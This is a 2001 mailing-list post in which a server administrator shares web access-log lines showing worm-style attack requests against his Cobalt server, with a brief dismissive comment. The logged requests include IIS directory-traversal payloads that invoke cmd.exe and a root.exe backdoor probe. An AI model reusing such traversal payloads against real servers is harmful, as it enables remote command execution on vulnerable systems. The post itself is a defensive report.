[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[cobalt-users] C drive hack



I am getting a lot of these logged on every IP routed to my machine that has
a site.

www.site.com 216.234.235.118 - - [18/Sep/2001:06:49:52 -0700] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "-"

www.site.com 216.234.199.92 - - [18/Sep/2001:06:51:19 -0700] "GET
/MSADC/root.exe?/c+dir HTTP/1.0" 302 231 "-" "-"

www.adifferentsite.com 66.12.10.51 - - [18/Sep/2001:06:51:16 -0700] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 302 254 "-" "-"

Stupid windoze h4x0r5.
Paul